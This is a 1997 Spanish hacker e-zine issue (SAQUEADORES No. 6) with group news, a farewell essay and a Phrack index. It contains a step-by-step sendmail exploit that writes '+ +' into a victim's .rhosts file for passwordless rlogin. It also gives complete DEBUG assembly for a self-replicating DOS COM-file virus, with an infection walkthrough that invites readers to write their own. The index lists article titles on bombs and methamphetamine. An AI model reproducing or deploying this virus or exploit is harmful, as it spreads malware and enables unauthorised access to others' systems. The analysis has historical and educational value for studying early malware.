```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º                       SAQUEADORES  N§6  10-1-97                            º
º                             Segunda Epoca                                  º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¶
º                   Fanzine del underground informatico                      º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º  Disponible en  º  http://www.geocities.com/SiliconValley/park/7574/      º
º                 º  http://iberhack.ml.org                                 º
º                 º  http://www.geocities.com/SiliconValley/Park/7479/      º
º                 º  Gorth BBS                                              º
º                 º  DarkHate BBS   2 nodos   Telf (972) 27 44 64           º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Todos los contenidos de esta revista son solamente educativos, ninguno    º
º pretende incitar al crimen o a la ilegalidad. Cualquier uso erroneo de    º
º esta informacion no es responsabilidad nuestra. Asi mismo, no nos hacemos º
º responsables de las informaciones u opiniones de nuestros colaboradores   º
º o informadores.                                                           º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

"There’s no time for us,
there’s no place for us"

Who want to live forever

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
01. CONTENIDOS                                                             º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 02. PRESENTACION                                                          º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
```

Hola amigos, aqui estamos otra vez, cargados de novedades y de noticias. Yo sigo haciendo de editor-temporal, hasta que los cambios del grupo terminen de cuajar.

Los cambios, como podreis comprobar mas adelante, son radicales. Pero no os preocupeis la revista seguira existiendo y seguira tratando temas de interes general.

Para que os entereis de lo que se avecina, aqui teneis un resumen.

El Duke de Sicilia

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 03. RENOVACION DEL GRUPO Y DE LA REVISTA                                  º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Despues de algunas reuniones y muchos mensajes asi queda el grupo y la revista.

Decisiones sobre el grupo:

-Las modificaciones en el grupo no son muy grandes. Se aceptan algunos miembros nuevos y se descentraliza la accion.
-Se hace mas facil entrar en el grupo, y se elimina cualquier tipo de jerarquia.
-Cualquiera que nos ofrezca informacion de interes, sera aceptado en el grupo y recibira informacion extra y los nuevos numeros de la revista. (Si tardamos un poco no os preocupeis, la burocracia siempre es lenta :-)

Decisiones sobre la revista:

-La revista seguira sin fecha fija de salida, aunque intentaremos que sea aproximadamente bi-mensual.
-Viendo que la revista ya ha alcanzado su madurez, hemos decidido darle un estilo mas tecnico y menos infantil.
-Se seguiran tratando temas de iniciacion, pero seran menos. Aunque todo depende de lo que nos pida el publico.
-En la revista tambien se incluiran textos tecnicos, aunque no tengan relacion directa con temas under.
-Se incluiran articulos de opinion, aunque sin abusar.
-Hemos decidido no ofrecer datos demasiado concretos o peligrosos. La informacion de esta publicacion no debe ser usada para delinquir, nuestro objetivo es simplemente ense¤aros a pensar por vosotros mismos.
-Ningun componente del grupo dara listas de sites warez, password o informacion sobre hacking, a alguien en particular, a menos que sea un caso excepcional.
-En cambio si que se INTERCAMBIARA informacion de interes y se aceptaran trabajos por encargo, siempre que merezcan la pena.
-En la revista no se incluiran programas, ni imagenes, excepto en casos extraordinarios.
-El formato seguira siendo texto, sin acentos ni caracteres especiales, por ser el sistema mas estandar y extendido. Se usara el juego de caracteres estandar ASCII.
-El nombre de la publicacion pasa a ser SET (Saqueadores Edicion Tecnica) para diferenciarla del grupo.
-Los expedientes secretos dejaran de existir.
-Como el gran hermano se ha fijado en nosotros, y nos lee habitualmente, hemos decidido ser buenos y no meternos con nadie. (En publico, porque en privado seguiremos haciendo travesuras)
-La revista tratara mayoritariamente temas de hacking, aunque sin olvidar el resto de temas under.

Espero que no os hayais asustado con los cambios, pero la mayoria de ellos eran inevitables. Si no estais de acuerdo con algo solo teneis que decirlo y si nos convenceis tal vez os hagamos caso.

el grupo

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 04. EL BUG DEL MES                                                         º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Saludos amigos, aqui esta para serviros y para comentaros el bug de este mes el Dark Raver. Como no os sonara mi nombre, os dire que soy un fanatico de los ordenatas y por supuesto del hacking, que me podreis encontrar en Axis y que es la primera vez que escribo en esta super publicacion, y no es por peloteo :-)

Me han dejado libertad, para elegir el bug de este mes, pero me han dicho que no me porte mal }:-) Es una pena, pero habra que aguantarse. Por eso he decidido continuar con lo que hizo Red en el numero anterior y os voy a explicar otro bug clasico del sendmail.

Este bug es un poco mas moderno, que el que explico Red, y a lo mejor todavia funciona en algun sitio, pero no os hagais ilusiones.

Sistemas: Unix’s en general
Versiones: Sendmail, versiones anteriores a la 5.59
Descripcion: Bug del sendmail

Con este bug, los usuarios externos pueden sobre-escribir cualquier archivo, que no tenga nivel de root.

Ejemplo: (No voy a poner ejemplos de sistemas operativos concretos. Intentare esplicarme lo mas generalmente posible, y luego vosotros tendreis que aplicarlo a vustro sistema en concreto.)

Hacemos un telnet a victima.com al puerto 25

```
rcpt to: /home/pepe/.rhosts   -->   Nombre (y situacion) del fichero a
                              escribir. En este caso vamos a sobre-escribir
                              el rhosts del usuario llamado pepe.

mail from: pepe

data

"Aqui pon lo que quieras, un comentario para el root por ejemplo :-)"

.   -->   Normalmente te dara un mensaje de error, despues de poner
          el punto.

rcpt to: /home/pepe/.rhosts   -->   Esto es muy importante, hay que hacerlo
                                    2 veces.
mail from: pepe

data   -->   Ahora en este segundo intento si que podras escribir en el
             fichero.

mi.ordenador.com   -->   Esto es lo que se escribira en el archivo. Tambien se
                         podria poner ’ + + ’ o algo similar.

.   -->   Si no da mensaje de error es que ha funcionado.

quit
```

Despues hacemos un rlogin a victima.com como si fuesemos pepe, y como

el nombre de nuestro ordenador, aparece en su .rhosts (remote hosts)
entraremos sin problemas, ya que no nos pedira el pass.

Para comprender este texto, es necesario, tener un nivel medio en el manejo
de sistemas unix. Si no has comprendido algo, mirate un manual sobre unix,
o instalate el linux en tu pc y practica un poco. Seguro que si lo haces
este fichero te parecera cosa de nigos.

Dark Raver

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 05. MENSAJE DE ELJAKER                                                      º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Antes de que os asusteis quiero decir, que esto no es un adios definitivo, simplemente es un descanso que necesitaba. Es una retirada temporal de la vida activa, pero seguire con la teoria y por supuesto seguire escribiendo articulos en la revista, aunque intentare que sean menos numerosos pero mas jugosos. A si que tened paciencia, y dentro de un par de meses volvereis a ver articulos mios por aqui.

Y ya que me despido (Temporalmente) quiero aprovechar para soltar el tipico rollo que se cuenta cuando uno se retira, y unas cuantas ideas que me estaban rondando por la mente y que estaba deseando decir.

Cuando hace unos meses inicie la publicacion, practicamente en solitario y luego con un par de amigos, el hacking hispano estaba muerto, a pesar del tiron de internet y del gran numero de gente con modem, esto parecia que no avanzaba. Aunque habia un par de grupillos mal organizados, no habia casi documentos en nuestra lengua y (que yo sepa) no habia ninguna publicacion espa¤ola. Es una verguenza, incluso paises como Uruguay o Argentina, nos llevaban una ventaja de varios a¤os en estos temas. Aqui en Espa¤a habia un par de bbs y poca cosa mas. Ahora despues de unos meses, parece que la semilla que plantamos empieza a crecer, ya hay varias publicaciones mas, los canales del irc sobre hacking en espa¤ol estan llenos, en las areas de mensajeria se empieza a hablar en serio, hay montones de paginas sobre hacking en espa¤ol.

No quiero llevarme todos los honores, porque me han ayudado mucho. Me basta con las felicitaciones de unos cuantos y con la contemplacion del maravilloso panorama que presenta el mundo hacker espa¤ol, que aunque todavia le queda mucho que mejorar, esta en una fase gloriosa que seguramente nunca se volvera a repetir.

Tambien quiero pedir perdon a aquellos administradores, a los que esta publicacion ha perjudicado. Aunque bien mirado, la escalada hacker mas bien os beneficia, ya que aumentan los puestos de trabajo, los empresarios empezaran a gastarse mas dinero en seguridad y por lo tanto vuestro trabajo sera mas reconicido y por supuesto, algunos hackers, entre los que me incluyo, somos tan buenazos, que incluso os dejamos mensajillos avisando de los agujeros de vuestro sistemas, que mas se puede pedir. Ya se que hay por ahi algunos chavales, algo tontos que se entretienen formateando discos duros, pero esa minoria no tenia por que ser porblema para vosotros, porque son realmente la clase mas baja de hackers y nunca llegaran a nada.

Y con esto no quiero molestar a nadie, pero la verdad es que este tipo de actitudes no benefician a nadie, ni al autor ni al mundo hacker, mas bien empeora nuetra fama y nos equipara con delincuentes.

Ya se que la publicacion no ha sido muy brillante, que le nivel tecnico ha sido algo bajo y que los primeros numeros fueron algo infantiles, pero por algo habia que empezar, y ahora el tiempo nos esta dando la razon y parece que los contenidos tecnicos van en aumento y que empiezan a salir a la luz excelentes colaboradores. Todavia nos queda mucho por mejorar, para llegar al nivel de las revista americanas, pero si seguimos asi, no tardaremos mucho en hacerlo.

Y bueno, todavia me quedan muchas cosas que decir, pero me parece que me estoy pasando, a si que voy a cortar ya.

Estamos dentro

Eljaker

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 06. INTRODUCCION A LA PROGRAMACION DE VIRUS                                 º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Hola, soy Episiarca y voy a introducir un poco el tema de la programacion de virus para aquellos que no saben mucho sobre ensamblador y Virus.

Los Virus se programan en ensamblador, por eso mismo es necesario un conocimiento minimo de este lenguaje. Por ahora es suficiente con conocer las instrucciones basicas como las de salto, comparacion y movimiento de datos.

Todo el mundo sabe lo que es un Virus, pero veamos uno por dentro :-). El primer virus lo vi en una revista ya desaparecida, Amstrad User. Ellos publicaron un peque¤o Virus que luego seria conocido como el Virus Amstrad, al parecer intentaron colarlo en los ordenadores de la revista :-?. Por cierto, el Virus es de lo mas tonto, solo lo voy a utilizar como ejemplo, pero es muy malo como Virus, no restaura la fecha del fichero, no comprueba los atributos de lectura/escritura, no mira si el tama¤o del fichero es muy grande ... El script original contenia un error, el que voy a poner es correcto. Para obtener un fichero ejecutable basta con poner:

DEBUG < V1RV.DBG

```
---------------------------------------------------------------------------
a
JMP     0116
NOP
DEC     CX
PUSH    SI
ADD     [BP+SI],CH
CS:
INC     BX
DEC     DI
DEC     BP
ADD     [BX+04],CL
ADD     [BX+SI],AL
ADD     [BX+SI],AX
ADD     [BX+SI],AL
ADD     [BX+SI],AL
MOV     AX,CS
ADD     AX,1000
MOV     ES,AX
INC     BYTE PTR [0105]
MOV     SI,0100
XOR     DI,DI
MOV     CX,014F
REPZ
MOVSB
MOV     DX,025F
MOV     AH,1A
INT     21
MOV     DX,0106
MOV     CX,0016
MOV     AH,4E
INT     21
JB      019E
MOV     DX,027D
MOV     AX,3D02
INT     21
MOV     [0114],AX
MOV     BX,AX
```

```
PUSH    ES
POP     DS
MOV     DX,034F
MOV     CX,FFFF
MOV     AH,3F
INT     21
ADD     AX,034F
CS:
MOV     [0112],AX
DS:
CMP     WORD PTR [0352],5649
JZ      0188
XOR     CX,CX
MOV     DX,CX
CS:
MOV     BX,[0114]
MOV     AX,4200
INT     21
JB      0188
MOV     DX,0000
CS:
MOV     CX,[0112]
CS:
MOV     BX,[0114]
MOV     AH,40
INT     21
CS:
MOV     BX,[0114]
MOV     AH,3E
INT     21
PUSH    CS
POP     DS
MOV     AH,4F
MOV     DX,025F
INT     21
JB      019E
JMP     013E
MOV     DX,0080
MOV     AH,1A
INT     21
CMP     BYTE PTR [0105],05
JB      0207
MOV     AX,0040
MOV     DS,AX
MOV     AX,[006C]
PUSH    CS
POP     DS
AND     AX,0001
JZ      0207
MOV     DX,01C4
MOV     AH,09
INT     21
INT     20
INC     BP
DB      6E
AND     [SI+75],DH
AND     [BX+SI+43],DL
AND     [BX+SI+61],CH
JNS     01F1
JNZ     0241
AND     [BP+69],DH
JB      024D
```

```
JNB     01FA
PUSH    DX
PUSH    SI
XOR     [SI],BP
AND     [BX+DI+20],BH
XOR     BYTE PTR [BP+DI+74],61
AND     [DI+73],AH
AND     [BP+DI+75],DH
AND     [BX+DI+75],DH
DB      69
DB      6E
JZ      0253
AND     [BX+65],AH
DB      6E
DB      65
JB      025A
DB      63
DB      69
MOV     [206E],AL
ADD     [BX+SI],SP
AND     [BX+SI],AH
AND     [BX+SI],AH
OR      CL,[DI]
AND     AL,BE
AND     AL,02
MOV     CX,002B
XOR     DI,DI
REPZ
MOVSB
XOR     DI,DI
CS:
MOV     WORD PTR [010E],0000
CS:
MOV     [0110],ES
CS:
JMP     FAR [010E]
PUSH    DS
POP     ES
MOV     SI,044F
CMP     BYTE PTR [0105],01
JNZ     0234
SUB     SI,0200
MOV     DI,0100
MOV     CX,FFFF
SUB     CX,SI
REPZ
MOVSB
CS:
MOV     WORD PTR [0100],0100
CS:
MOV     [0102],DS
CS:
JMP     FAR [0100]
INT     20

n v1rv.com
r cx
151
w
q
--------------------------------------------------------------------------------
```

Lo mejor que puedes hacer ahora es ejecutar el Virus paso a paso con el propio DEBUG. Ejecuta el DEBUG, cuando salga el cursor (-) indicale el nombre del fichero a cargar (n v1rv.com) y leelo (l). En el registro BX,CX tienes el tama¤o en bytes del programa cargado, para ver el contenido de los registros utiliza el comando (r). Fijate que BX vale 0000 y CX vale 0151, es decir, el tama¤o del programa es de 337 bytes (el valor de CX esta en hexa).

Utilizaremos las ordenes (t) y (p) para tracear el Virus, la diferencia entre (t) y (p) es que la primera ejecuta el programa instruccion a instruccion, metiendose dentro de las CALL y de las INT, mientras que (p) ejecuta de un golpe las CALL y las INT. Para una instruccion cualquiera (exceptuado CALL/INT) las dos ordenes se pueden usar indistintamente.

Empecemos con la (p), se ha producido un salto a la direccion 116 (en hexa).

```
        JMP 116
        ... ...
116:    MOV     AX,CS
        ADD     AX,1000
        MOV     ES,AX
        INC     BYTE PTR [0105]
        MOV     SI,0100
        XOR     DI,DI
        MOV     CX,014F
        REPZ
        MOVSB
```

Las tres primeras instrucciones tras el salto ponen en ES la direccion del segmento que dista 64Kb del actual. Espero que comprendas esto :-)), si no es que hay que pegar un repaso a la segmentacion de los procesadores Intel.

```
* REPASO: Los procesadores Intel utilizan un esquema basado en la segmentacion
* para direccionar la memoria. El esquema Intel es diferente a la segmentacion
* clasica. Cada semento es de 64Kb, pero no estan de forma consecutiva en la
* memoria, estan sobrelapados, distando cada comienzo de segmento un parrafo
* (16 bytes). Es decir, si tenemos una direccion SEG:OFF, el siguiente segmento
* comienza en (SEG+01h):OFF o en SEG:(OFF+10h). Date cuenta que lienalmente es
* la misma direccion: (SEG+01h)*10h+OFF = SEG*10h+10h+OFF = SEG*10h+(OFF+10h)
* = SEG:(OFF+10h).
* Bueno... seguro que sabes que la direccion segmentada se pasa a lineal si
* multiplicas el segmento por 16 (10h) y le sumas el desplazamiento.
```

La cuarta incrementa un contador, simplemente recuerda por ahora que esta en la direccion DS:0105h, luevo veremos para que lo usa.

El resto, 5 instrucciones, copian el virus en el segmento calculado. La instruccion REPZ MOVSB copia CX bytes desde DS:SI a ES:DI. Como DS apunta al mismo segmento que CS y SI vale 100h, estamos compiando CS:100h que es la direccion del principio del Virus. El registro CX vale 14fh, es decir, el tama¤o del Virus, ya que los dos ultimos bytes (CDh 20h) corresponden al codigo del programa que hemos infectado. La direccion de destino es ES:DI, el valor de ES es conocido, DI vale 0000h.

Pasamos a ver las 3 siguientes.

```
        MOV     DX,025F
        MOV     AH,1A
        INT     21
```

Esta es una interrupcion 21h con servicio 1ah, para saber que significa podemos consultar las listas de Ralf Brown. Este servicio se encarga de establecer la direccion del DTA en DS:DX. El DTA es una zona de memoria que por defecto se

encuentra en DS:0080h (PSP), se usa como registro para contener informacion que devuelven otros servicios, como el de buscar ficheros por un directorio.
El tama¤o maximo del DTA va a ser de 128 bytes... un momento... ahora estamos estableciendo una zona de memoria que va ha ser escrita por otros servicios en la direccion DS:025fh 8-O !!!, - pero si en esa direccion puede existir parte del programa infectado !, XDD, tranqui, ya veremos como solucionar esto.

```
MOV     DX,0106
MOV     CX,0016
MOV     AH,4E
INT     21
JB      019E
```

Esta funcion hace uso del DTA, es la encargada de buscar ficheros, junto a su hermana el servicio 4fh. Veamos, en CX espera los atributos para la busqueda, su patron es el siguiente:

```
76543210
00XXXXXX
```

El 7 y 6 estan reservados, 5 es el bit de archivo, 4 de subdirectorio, el bit 3 es el de la etiqueta de volumen, el 2 archivo de sistema, 1 archivo oculto y 0 el de solo lectura. Pues bien, el servicio 4eh pide que especifiquemos que atributos debe tener los ficheros que vamos a buscar, 16h en binario es 10110, es decir, busca los ficheros ocultos, de sistema y subdirectorios, aparte de los normales. [Yo considero que buscar los subdirectorios es un error del programa, ya que no hay uso de los servicios de directorio].

En DS:DX se debe almacenar el patron de busqueda en una cadena ASCIIZ (termina en 00h). Para ver el patron que usa pongamos (d ds:106)... :-) '*.COM',00h. Si no encuentra ninguno devuelve el bit del carry a 1, el programa salta a 019eh.

El servicio 4eh/4fh almacena en la DTA la siguiente info:

Bytes	Finalidad
0-20	Reservados
21	Atributo del fichero
22-23	Hora del fichero: Bits 0bh-0fh = horas (0-23) Bits 05h-0ah = minutos (0-59) Bits 00h-04h = incrementos de 2 segundos (0-29)
24-25	Fecha de fichero: Bits 09h-0fh = a¤o (respecto a 1980) Bits 05h-08h = mes (1-12) Bits 00h-04h = dia (1-31)
26-29	Tama¤o del fichero
30-42	Nombre y extension en ASCIIZ

Bien, supongamos que encuentra un fichero '*.COM', en ese caso ejecutaria la siguiente seccion de codigo:

```
MOV     DX,027D
MOV     AX,3D02
INT     21
MOV     [0114],AX
MOV     BX,AX
```

Es decir, abre el fichero de nombre DS:DX para lectura/escritura. Como ves, DX apunta a la zona del DTA referente al nombre del fichero :-). A la vuelta, este servicio pone en AX el file-handle del fichero, lo guarda en DS:0114h y lo pone en BX.

```
        PUSH    ES
        POP     DS
        MOV     DX,034F
        MOV     CX,FFFF
        MOV     AH,3F
        INT     21
        ADD     AX,034F
        CS:
        MOV     [0112],AX
```

Las dos primeras instrucciones ponen DS igual a ES y a continuacion lee todo el fichero COM en DS:DX. Pone el codigo del programa al final del Virus, dejando 0200h bytes de espacio. Precisamente este espacio lo deja el Virus para poder almacenar la DTA en la siguiente infeccion.

El numero de bytes leido se devuelve en AX, valor al que le suma 034fh, que es el tama¤o del virus mas esos 0200h. El tama¤o total lo almacena en CS:0112h.

```
        DS:
        CMP     WORD PTR [0352],5649
        JZ      0188
```

El Virus, para no reinfectar un programa, mira el cuarto y el quinto byte, si valen I y V respectivamente quiere decir que el programa ya tenia el Virus y no lo infecta otra vez.

```
        XOR     CX,CX
        MOV     DX,CX
        CS:
        MOV     BX,[0114]
        MOV     AX,4200
        INT     21
        JB      0188
```

Este trozo hace que el puntero de lectura/escritura del fichero apunte de nuevo al principio del mismo, ya que reescriviremos todo el programa. Recuerda que en la direccion 0114h tenemos el file-handle del fichero.

```
        MOV     DX,0000
        CS:
        MOV     CX,[0112]
        CS:
        MOV     BX,[0114]
        MOV     AH,40
        INT     21
        CS:
        MOV     BX,[0114]
        MOV     AH,3E
        INT     21
```

Aqui esta la verdadera infeccion :-), escribe el fichero desde el principio con el nuevo tama¤o y al final lo cierra. Ahora ya tenemos el programa infectado, pasemos al siguiente :-).

```
        PUSH    CS
        POP     DS
        MOV     AH,4F
        MOV     DX,025F
        INT     21
        JB      019E
        JMP     013E
```

Esto restaura el valor de DS, para que apunte a CS. Luego continua la busqueda de los ficheros (4fh). Curioso error, pone en DX el valor 025fh que es donde se encuentra la DTA, pero eso no hace falta (tonto, desperdicia preciosos bytes).

Si encuentra algun otro fichero salta a la direccion 013eh y comienza de nuevo todo el proceso, si no encuentra mas fichero salta a la 019eh.

```
        MOV     DX,0080
        MOV     AH,1A
        INT     21
```

Si no encuentra mas ficheros reestablece la direccion de la DTA. Esto es importante.

```
        CMP     BYTE PTR [0105],05
        JB      0207
        MOV     AX,0040
        MOV     DS,AX
        MOV     AX,[006C]
        PUSH    CS
        POP     DS
        AND     AX,0001
        JZ      0207
        MOV     DX,01C4
        MOV     AH,09
        INT     21
        INT     20
```

¨Recuerdas que al principio el Virus incremento el byte de la 0105h?, es un contador de reproducciones, indica cuantas veces se ha reproducido el Virus. Ahora lo compara con 5, si es menor no hace nada, pero si es igual o mayor mira el bit 0 del contador de clicks del sistema (0040h:006ch), si vale 1 imprime un mensajito muy tonto, para verlo pon (d1c4), dice lo siguiente: ’En tu PC hay un virus RV1, y esta es su quinta generacion’, acompa¤ado del caracter 01h (una carita), al final sale al DOS.

```
        MOV     SI,0224
        MOV     CX,002B
        XOR     DI,DI
        REPZ
        MOVSB
        XOR     DI,DI
        CS:
        MOV     WORD PTR [010E],0000
        CS:
        MOV     [0110],ES
        CS:
        JMP     FAR [010E]
```

Ya estamos cerca del final, desde ahora el Virus se va a encargar de preparar la memoria para poder ejecutar el programa que tiene adosado. Para ello copia un mini programa de 2bh bytes, que comienza en cs:0224, al principio del nuevo segmento. Por ultimo pega un salto a ES:0000h, es decir, al mini programa.

```
        PUSH    DS
        POP     ES
        MOV     SI,044F
        CMP     BYTE PTR [0105],01
        JNZ     0234
        SUB     SI,0200
        MOV     DI,0100
```

```
        MOV     CX,FFFF
        SUB     CX,SI
        REPZ
        MOVSB
        CS:
        MOV     WORD PTR [0100],0100
        CS:
        MOV     [0102],DS
        CS:
        JMP     FAR [0100]
```

Este es el programa que pasa a ejecutar. Primero iguala los registros de datos y extra con el de codigo. Ahora viene un detalle que me hace sospechar que los programadores del virus fueron los de la revista: ajusta SI dependiendo de si es su primera reproduccion o no (en la revista publicaron uno en su primera reproduccion, es decir, nunca se habia reproducido). Lo principal de este trozo es que copia el codigo del programa infectado al principio del segmento, 0100h, y salta a la primera instruccion del programa. Este se ejecuta como si nada.

Bueno esto es todo. Hemos analizado con detenimiento un Virus muy simple y con fallos en su programacion. Existe otra tecnica para infectar programa COM que con un poco de suerte la podremos ver en otra entrega. Infectar los EXE no es mucho mas dificil :-).

Por ultimo, no me seais lamerillos y si programais un Virus hacedlo desde el principio, no os conformeis con arreglar este fuente }:-).

Episiarca

EOF

ÉÍÍÍ»
º 07. INDICE DE LA REVISTA PHRACK #1-31 º
ÈÍÍÍ¼

Viendo la buena acogida, que tuvo esta nueva seccion en el numero anterior hemos decidido volver a dedicarle este apartado a la Phrack, ahora con un indice de los numeros 1 al 31, tal vez sean un poco antiguos, pero siempre son utiles.

Index to Phracks #1 - 31
Compiled by AREXX

Phrack #1

1 This Introduction to Phrack Inc. by Taran King
2 SAM Security Article by Spitfire Hacker
3 Boot Tracing on Apple by Cheap Shades
4 The Fone Phreak's Revenge by Iron Soldier
5 MCI International Cards by Knight Lightning
6 How to Pick Master Locks by Gin Fizz and Ninja NYC
7 How to Make an Acetylene Bomb by The Clashmaster
8 School/College Computer Dial-Ups by Phantom Phreaker

Phrack #2

1 Phrack Inc. Index - Taran King
2 Prevention of the Billing Office Blues - Forest Ranger
3 Homemade Guns - Man-Tooth
4 Blowguns - The Pyro
5 TAC Info
6 Universal Informational Services via ISDN - Taran King
7 MCI Overview - Knight Lightning
8 Hacking RSTS - Data Line
9 Phreak World News - Knight Lightning

Phrack #3

1 Index written by Cheap Shades
2 Rolm systems written by Monty Python
3 Making shell bombs written by Man-Tooth
4 Signalling systems around the world by Data Line
5 Private audience written by Overlord
6 Fortell systems written by Phantom Phreaker
7 Eavesdropping written by Circle Lord
8 Building a Shock Rod written by Circle Lord
9 Introduction to PBX's written by Knight Lightning
10 Phreak World News II written by Knight Lightning

Phrack #4

1 Phreak Pro-Phile I
2 Ring Back Codes for the 314 NPA
3 False Identification
4 Profile of MAX long distance service
5 Breaching and clearing obstacles
6 Creashing DEC-10's
7 Centrex Renaissance "The Regulations"
8 The Tried and True Home Production Method for Methamphetamine
9-11 Phrack World News

Phrack #5

1 Phrack V Intro by Taran King
2 Phrack Pro-Phile of Broadway Hacker by Taran King
3 Hacking Dec’s by Carrier Culprit
4 Hand to Hand Combat by Bad Boy in Black
5 DMS-100 by Knight Lightning
6 Bolt Bombs by The Leftist
7 Wide Area Networks Part 1 by Jester Sluggo
8 Radio Hacking by The Seker
9 Mobile Telephone Communications by Phantom Phreaker
10-12 Phrack World News IV by Knight Lightning

Phrack #6

1 Index by Taran King (1k)
2 Pro-Phile on Groups by Knight Lightning (14k)
3 The Technical Revolution by Dr. Crash (4k)
4 Fun with Lighters by The Leftist (2k)
5 Nasty Unix Tricks by Shooting Shark (4k)
6 Smoke Bombs by Alpine Kracker (2k)
7 Cellular Telephones by High Evolutionary (5k)
8 Wide Area Networks by Jester Sluggo (10k)
9-13 Phrack World News by Knight Lightning (16,15,15,16,15K)

Phrack #7

1 Intro/Index by Taran King (2175 bytes)
2 Phrack Pro-Phile of Scan Man by Taran King (7133 bytes)
3 Hacker’s Manifesto by The Mentor (3561 bytes)
